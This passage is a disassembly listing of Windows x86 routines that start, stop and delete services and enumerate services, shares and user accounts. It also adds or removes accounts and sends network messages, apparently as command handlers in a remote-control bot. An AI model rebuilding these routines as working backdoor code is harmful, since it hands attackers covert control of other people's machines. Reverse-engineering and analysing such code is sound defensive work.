lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call ds:dword_4F539C ; GetVersionExA
cmp [ebp+var_90], 4
jnz short loc_41926E
cmp [ebp+var_8C], 0
jnz loc_4192F8
xor eax, eax
inc eax
cmp [ebp+var_84], eax
jz locret_4192F6
loc_41926E: ; CODE XREF: sub_419229+27j
; sub_419229+DFj
push esi
push edi
push offset aNetapi32_dll_0 ; "netapi32.dll"
call ds:off_4F538C
mov esi, eax
push offset aNetmessagebu_0 ; "NetMessageBufferSend"
push esi
call ds:off_4F5390
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_421E90
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_421E90
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_421E90
lea eax, [ebp+var_F8]
push eax
call sub_421E60
add eax, eax
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi ; GetProcessHeap
add esp, 3Ch
mov edi, eax
push esi
call ds:off_4F5410
mov eax, edi
pop edi
pop esi
locret_4192F6: ; CODE XREF: sub_419229+3Fj
leave
retn
; ---------------------------------------------------------------------------
loc_4192F8: ; CODE XREF: sub_419229+30j
cmp [ebp+var_8C], 0Ah
jz short loc_41930E
cmp [ebp+var_8C], 5Ah
jnz loc_41926E
loc_41930E: ; CODE XREF: sub_419229+D6j
xor eax, eax
inc eax
leave
retn
sub_419229 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419313 proc near ; CODE XREF: sub_401300+F7p
; sub_40F038+Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call ds:dword_4F537C ; GetTickCount
push eax
call sub_41EB60
pop ecx
call sub_41EB70
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul ds:dbl_43C4E0
call sub_4201DC
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_419313 endp
; =============== S U B R O U T I N E =======================================
sub_419350 proc near ; CODE XREF: sub_401C87+45A2p
; sub_401C87+460Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_4193B5
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push ds:dword_44FDD8[esi]
push edi
push eax
call sub_4193D7
add esp, 14h
test eax, eax
jnz short loc_419398
push edi
push ds:off_44FDD4[esi]
mov esi, offset dword_4F3060
push offset unk_44FE24
push esi
call sub_41EA60
add esp, 10h
jmp short loc_4193D2
; ---------------------------------------------------------------------------
loc_419398: ; CODE XREF: sub_419350+2Aj
push eax
call sub_419479
push eax
push edi
mov esi, offset dword_4F3060
push offset unk_44FE40
push esi
call sub_41EA60
add esp, 14h
jmp short loc_4193D2
; ---------------------------------------------------------------------------
loc_4193B5: ; CODE XREF: sub_419350+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4F3060
push ds:off_44FDD0[eax*4]
push offset unk_44FE6C
push esi
call sub_41EA60
add esp, 0Ch
loc_4193D2: ; CODE XREF: sub_419350+46j
; sub_419350+63j
mov eax, esi
pop edi
pop esi
retn
sub_419350 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193D7 proc near ; CODE XREF: sub_419350+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call ds:dword_4E2FBC ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_4193FE
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_419473
; ---------------------------------------------------------------------------
loc_4193FE: ; CODE XREF: sub_4193D7+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call ds:dword_4E2EA4 ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_41941E
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_41946B
; ---------------------------------------------------------------------------
loc_41941E: ; CODE XREF: sub_4193D7+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_419451
cmp eax, 3
jz short loc_419442
jle short loc_419464
cmp eax, 6
jg short loc_419464
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call ds:dword_4E2F10 ; ControlService
jmp short loc_419458
; ---------------------------------------------------------------------------
loc_419442: ; CODE XREF: sub_4193D7+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call ds:dword_4E2EAC ; StartServiceA
jmp short loc_419458
; ---------------------------------------------------------------------------
loc_419451: ; CODE XREF: sub_4193D7+4Dj
push esi
call ds:dword_4E2F14 ; DeleteService
loc_419458: ; CODE XREF: sub_4193D7+69j
; sub_4193D7+78j
test eax, eax
jnz short loc_419464
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ebx, eax
loc_419464: ; CODE XREF: sub_4193D7+54j
; sub_4193D7+59j ...
push esi
call ds:dword_4E2EC0 ; CloseServiceHandle
loc_41946B: ; CODE XREF: sub_4193D7+45j
push edi
call ds:dword_4E2EC0 ; CloseServiceHandle
pop esi
loc_419473: ; CODE XREF: sub_4193D7+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_4193D7 endp
; =============== S U B R O U T I N E =======================================
sub_419479 proc near ; CODE XREF: sub_419350+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_41952E
jz loc_419527
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_4194F1
jz short loc_4194E7
mov ecx, eax
sub ecx, 3
jz short loc_4194DD
dec ecx
dec ecx
jz short loc_4194D3
dec ecx
jz short loc_4194C9
sub ecx, 51h
jz short loc_4194BF
sub ecx, 24h
jnz loc_4195A4 ; default
; jumptable 0041954B cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_419596
; ---------------------------------------------------------------------------
loc_4194BF: ; CODE XREF: sub_419479+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_419596
; ---------------------------------------------------------------------------
loc_4194C9: ; CODE XREF: sub_419479+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_419596
; ---------------------------------------------------------------------------
loc_4194D3: ; CODE XREF: sub_419479+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_419596
; ---------------------------------------------------------------------------
loc_4194DD: ; CODE XREF: sub_419479+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_419596
; ---------------------------------------------------------------------------
loc_4194E7: ; CODE XREF: sub_419479+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_419596
; ---------------------------------------------------------------------------
loc_4194F1: ; CODE XREF: sub_419479+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_419520
dec ecx
jz short loc_419519
dec ecx
jz short loc_419512
dec ecx
jnz loc_4195A4 ; default
; jumptable 0041954B cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_419596
; ---------------------------------------------------------------------------
loc_419512: ; CODE XREF: sub_419479+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_419596
; ---------------------------------------------------------------------------
loc_419519: ; CODE XREF: sub_419479+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_419596
; ---------------------------------------------------------------------------
loc_419520: ; CODE XREF: sub_419479+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_419596
; ---------------------------------------------------------------------------
loc_419527: ; CODE XREF: sub_419479+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_419596
; ---------------------------------------------------------------------------
loc_41952E: ; CODE XREF: sub_419479+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_4195A4 ; default
; jumptable 0041954B cases 1,5,6,8,9,12,13,15,16
jz short loc_419591
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_4195A4 ; default
; jumptable 0041954B cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_4195E5[ecx]
jmp off_4195BD[ecx*4] ; switch jump
loc_419552: ; DATA XREF: _0:off_4195BDo
push offset aTheSpecifiedDa ; jumptable 0041954B case 7
jmp short loc_419596
; ---------------------------------------------------------------------------
loc_419559: ; CODE XREF: sub_419479+D2j
; DATA XREF: _0:off_4195BDo
push offset aTheServiceDepe ; jumptable 0041954B case 17
jmp short loc_419596
; ---------------------------------------------------------------------------
loc_419560: ; CODE XREF: sub_419479+D2j
; DATA XREF: _0:off_4195BDo
push offset aTheServiceDe_0 ; jumptable 0041954B case 10
jmp short loc_419596
; ---------------------------------------------------------------------------
loc_419567: ; CODE XREF: sub_419479+D2j
; DATA XREF: _0:off_4195BDo
push offset aTheServiceHasB ; jumptable 0041954B case 0
jmp short loc_419596
; ---------------------------------------------------------------------------
loc_41956E: ; CODE XREF: sub_419479+D2j
; DATA XREF: _0:off_4195BDo
push offset aTheSpecified_0 ; jumptable 0041954B case 2
jmp short loc_419596
; ---------------------------------------------------------------------------
loc_419575: ; CODE XREF: sub_419479+D2j
; DATA XREF: _0:off_4195BDo
push offset aTheServiceCoul ; jumptable 0041954B case 11
jmp short loc_419596
; ---------------------------------------------------------------------------
loc_41957C: ; CODE XREF: sub_419479+D2j
; DATA XREF: _0:off_4195BDo
push offset aTheServiceHa_0 ; jumptable 0041954B case 14
jmp short loc_419596
; ---------------------------------------------------------------------------
loc_419583: ; CODE XREF: sub_419479+D2j
; DATA XREF: _0:off_4195BDo
push offset aTheRequested_1 ; jumptable 0041954B case 3
jmp short loc_419596
; ---------------------------------------------------------------------------
loc_41958A: ; CODE XREF: sub_419479+D2j
; DATA XREF: _0:off_4195BDo
push offset aTheServiceHasN ; jumptable 0041954B case 4
jmp short loc_419596
; ---------------------------------------------------------------------------
loc_419591: ; CODE XREF: sub_419479+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_419596: ; CODE XREF: sub_419479+41j
; sub_419479+4Bj ...
push offset dword_4F2990
call sub_41EA60
pop ecx
pop ecx
jmp short loc_4195B7
; ---------------------------------------------------------------------------
loc_4195A4: ; CODE XREF: sub_419479+36j
; sub_419479+89j ...
push eax ; default
; jumptable 0041954B cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4F2990
call sub_41EA60
add esp, 0Ch
loc_4195B7: ; CODE XREF: sub_419479+129j
mov eax, offset dword_4F2990
retn
sub_419479 endp
; ---------------------------------------------------------------------------
off_4195BD dd offset loc_419567 ; DATA XREF: sub_419479+D2r
dd offset loc_41956E ; jump table for switch statement
dd offset loc_419583
dd offset loc_41958A
dd offset loc_419552
dd offset loc_419560
dd offset loc_419575
dd offset loc_41957C
dd offset loc_419559
dd offset loc_4195A4
byte_4195E5 db 0, 9, 1, 2 ; DATA XREF: sub_419479+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4195F7 proc near ; CODE XREF: sub_401C87+45CDp
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call ds:dword_4E2FBC ; OpenSCManagerA
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 14h
loc_41962F: ; CODE XREF: sub_4195F7+123j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call ds:dword_4E2F88 ; EnumServicesStatusA
test eax, eax
jnz short loc_419669
call ds:dword_4F5360 ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_419720
loc_419669: ; CODE XREF: sub_4195F7+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_419717
lea esi, [ebp+var_188]
loc_41967A: ; CODE XREF: sub_4195F7+11Aj
mov eax, [esi+8]
dec eax
jz short loc_4196C6
dec eax
jz short loc_4196BF
dec eax
jz short loc_4196B8
dec eax
jz short loc_4196B1
dec eax
jz short loc_4196AA
dec eax
jz short loc_4196A3
dec eax
lea eax, [ebp+var_20]
jz short loc_41969C
push offset aUnknown ; " Unknown"
jmp short loc_4196CE
; ---------------------------------------------------------------------------
loc_41969C: ; CODE XREF: sub_4195F7+9Cj
push offset aPaused ; " Paused"
jmp short loc_4196CE
; ---------------------------------------------------------------------------
loc_4196A3: ; CODE XREF: sub_4195F7+96j
push offset aPausing ; " Pausing"
jmp short loc_4196CB
; ---------------------------------------------------------------------------
loc_4196AA: ; CODE XREF: sub_4195F7+93j
push offset aContinuing ; " Continuing"
jmp short loc_4196CB
; ---------------------------------------------------------------------------
loc_4196B1: ; CODE XREF: sub_4195F7+90j
push offset aRunning ; " Running"
jmp short loc_4196CB
; ---------------------------------------------------------------------------
loc_4196B8: ; CODE XREF: sub_4195F7+8Dj
push offset aStoping ; " Stoping"
jmp short loc_4196CB
; ---------------------------------------------------------------------------
loc_4196BF: ; CODE XREF: sub_4195F7+8Aj
push offset aStarting ; " Starting"
jmp short loc_4196CB
; ---------------------------------------------------------------------------
loc_4196C6: ; CODE XREF: sub_4195F7+87j
push offset aStopped ; " Stopped"
loc_4196CB: ; CODE XREF: sub_4195F7+B1j
; sub_4195F7+B8j ...
lea eax, [ebp+var_20]
loc_4196CE: ; CODE XREF: sub_4195F7+A3j
; sub_4195F7+AAj
push eax
call sub_41EA60
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS_0 ; "%s: %s (%s)"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_41967A
loc_419717: ; CODE XREF: sub_4195F7+77j
cmp [ebp+var_8], ebx
jnz loc_41962F
loc_419720: ; CODE XREF: sub_4195F7+6Cj
push [ebp+var_C]
call ds:dword_4E2EC0 ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_4195F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419737 proc near ; CODE XREF: sub_401C87+46B3p
; sub_401C87+46C9p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_4197D0
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_419760
dec eax
jnz short loc_4197B0
push edi
push 0
call sub_419909
pop ecx
pop ecx
jmp short loc_4197AC
; ---------------------------------------------------------------------------
loc_419760: ; CODE XREF: sub_419737+18j
cmp [ebp+arg_8], 0
jnz short loc_41979E
push 24h
push edi
call sub_41F720
pop ecx
test eax, eax
pop ecx
jnz short loc_41979E
push 57h
pop eax
loc_419777: ; CODE XREF: sub_419737+77j
push eax
call sub_41A0D7
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4F2C58
push ds:off_44FDD0[eax*4]
push offset unk_4503D8
push esi
call sub_41EA60
add esp, 18h
jmp short loc_4197F0
; ---------------------------------------------------------------------------
loc_41979E: ; CODE XREF: sub_419737+2Dj
; sub_419737+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_41985D
add esp, 0Ch
loc_4197AC: ; CODE XREF: sub_419737+27j
test eax, eax
jnz short loc_419777
loc_4197B0: ; CODE XREF: sub_419737+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4F2C58
push ds:off_44FDD4[eax*4]
push offset dword_450404
push esi
call sub_41EA60
add esp, 10h
jmp short loc_4197F0
; ---------------------------------------------------------------------------
loc_4197D0: ; CODE XREF: sub_419737+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4F2C58
lea eax, [eax+eax*2]
push ds:off_44FDD0[eax*4]
push offset unk_450420
push esi
call sub_41EA60
add esp, 0Ch
loc_4197F0: ; CODE XREF: sub_419737+65j
; sub_419737+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_419737 endp
; =============== S U B R O U T I N E =======================================
sub_4197F6 proc near ; CODE XREF: sub_41AB05+247p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_419803
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_419803: ; CODE XREF: sub_4197F6+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, ds:dword_4F5450
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test ds:byte_4F2E58, 1
mov ebp, eax
jnz short loc_419840
or ds:byte_4F2E58, 1
lea eax, [ebp+1]
push eax
call sub_420C30
pop ecx
mov ds:dword_4F2BF0, eax
loc_419840: ; CODE XREF: sub_4197F6+32j
push esi
push esi
push ebp
push ds:dword_4F2BF0
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, ds:dword_4F2BF0
pop edi
pop ebp
pop ebx
pop esi
retn
sub_4197F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41985D proc near ; CODE XREF: sub_419737+6Dp
; sub_41AE2B+188p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_4198C8
push [ebp+arg_4]
mov edi, eax
call sub_4198C8
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41F720
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_4198C8
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call ds:dword_4E2EBC
pop edi
leave
retn
sub_41985D endp
; =============== S U B R O U T I N E =======================================
sub_4198C8 proc near ; CODE XREF: sub_41985D+Ap
; sub_41985D+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_4198D5
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4198D5: ; CODE XREF: sub_4198C8+9j
push ebx
push esi
mov esi, ds:dword_4F5454
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_420C30
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_4198C8 endp
; =============== S U B R O U T I N E =======================================
sub_419909 proc near ; CODE XREF: sub_419737+20p
; sub_41AB05+1BCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4198C8
push [esp+8+arg_4]
mov esi, eax
call sub_4198C8
pop ecx
pop ecx
push 0
push eax
push esi
call ds:dword_4E2E94
pop esi
retn
sub_419909 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41992C proc near ; CODE XREF: sub_401C87+46F5p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_4198C8
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 18h
loc_419965: ; CODE XREF: sub_41992C+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call ds:dword_4E2F0C
mov ebx, eax
cmp ebx, esi
jz short loc_4199C8
cmp ebx, 0EAh
jz short loc_4199C8
push ebx
push ebx
call sub_41A0D7
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_45047C
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 24h
jmp short loc_419A35
; ---------------------------------------------------------------------------
loc_4199C8: ; CODE XREF: sub_41992C+5Dj
; sub_41992C+65j
xor edi, edi
inc edi
cmp [ebp+arg_C], edi
jb short loc_419A2C
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_4199D6: ; CODE XREF: sub_41992C+FCj
push dword ptr [esi+10h]
call ds:dword_4E2EB0 ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_4199ED
mov eax, offset aNo ; "No"
loc_4199ED: ; CODE XREF: sub_41992C+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_4199D6
xor esi, esi
loc_419A2C: ; CODE XREF: sub_41992C+A2j
push [ebp+var_4]
call ds:dword_4E3058
loc_419A35: ; CODE XREF: sub_41992C+9Aj
cmp ebx, 0EAh
jz loc_419965
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_41992C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A4D proc near ; CODE XREF: sub_401C87+474Ep
; sub_401C87+4769p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_419AF1
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_419A8F
dec eax
jz short loc_419A84
dec eax
jnz short loc_419AAA
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_419B93
add esp, 14h
jmp short loc_419AA6
; ---------------------------------------------------------------------------
loc_419A84: ; CODE XREF: sub_419A4D+1Dj
push ebx
push edi
call sub_419B72
pop ecx
pop ecx
jmp short loc_419AA6
; ---------------------------------------------------------------------------
loc_419A8F: ; CODE XREF: sub_419A4D+1Aj
cmp [ebp+arg_8], edi
jz short loc_419AA3
push [ebp+arg_8]
push ebx
push edi
call sub_419B18
add esp, 0Ch
jmp short loc_419AA6
; ---------------------------------------------------------------------------
loc_419AA3: ; CODE XREF: sub_419A4D+45j
push 57h
pop eax
loc_419AA6: ; CODE XREF: sub_419A4D+35j
; sub_419A4D+40j ...
cmp eax, edi
jnz short loc_419ACA
loc_419AAA: ; CODE XREF: sub_419A4D+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4F2E60
push ds:off_44FDD4[eax*4]
push offset unk_4504C4
push esi
call sub_41EA60
add esp, 10h
jmp short loc_419B11
; ---------------------------------------------------------------------------
loc_419ACA: ; CODE XREF: sub_419A4D+5Bj
push eax
call sub_41A0D7
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4F2E60
push ds:off_44FDD0[eax*4]
push offset unk_4504E4
push esi
call sub_41EA60
add esp, 18h
jmp short loc_419B11
; ---------------------------------------------------------------------------
loc_419AF1: ; CODE XREF: sub_419A4D+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4F2E60
lea eax, [eax+eax*2]
push ds:off_44FDD0[eax*4]
push offset unk_450514
push esi
call sub_41EA60
add esp, 0Ch
loc_419B11: ; CODE XREF: sub_419A4D+7Bj
; sub_419A4D+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_419A4D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B18 proc near ; CODE XREF: sub_419A4D+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_4198C8
push [ebp+arg_4]
mov edi, eax
call sub_4198C8
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_4198C8
add esp, 0Ch
and [ebp+var_14], 0
and [ebp+var_10], 0
and [ebp+var_8], 0
lea ecx, [ebp+var_4]
mov [ebp+var_20], eax
xor eax, eax
push ecx
lea ecx, [ebp+var_24]
inc eax
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call ds:dword_4E2EA0
pop edi
leave
retn
sub_419B18 endp
; =============== S U B R O U T I N E =======================================
sub_419B72 proc near ; CODE XREF: sub_419A4D+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4198C8
push [esp+8+arg_4]
mov esi, eax
call sub_4198C8
pop ecx
pop ecx
push eax
push esi
call ds:dword_4E2E90
pop esi
retn
sub_419B72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B93 proc near ; CODE XREF: sub_419A4D+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_4198C8
push [ebp+arg_4]
mov esi, eax
call sub_4198C8
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call ds:dword_4E3020
test eax, eax
mov [ebp+arg_0], eax
jnz loc_419F20
mov eax, [ebp+var_4]
test eax, eax
jz loc_419F5B
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41EA60
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_419CAC
dec eax
jz short loc_419CA5
dec eax
jz short loc_419C9E
mov eax, offset aUnknown_2 ; "Unknown"
jmp short loc_419CB1
; ---------------------------------------------------------------------------
loc_419C9E: ; CODE XREF: sub_419B93+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_419CB1
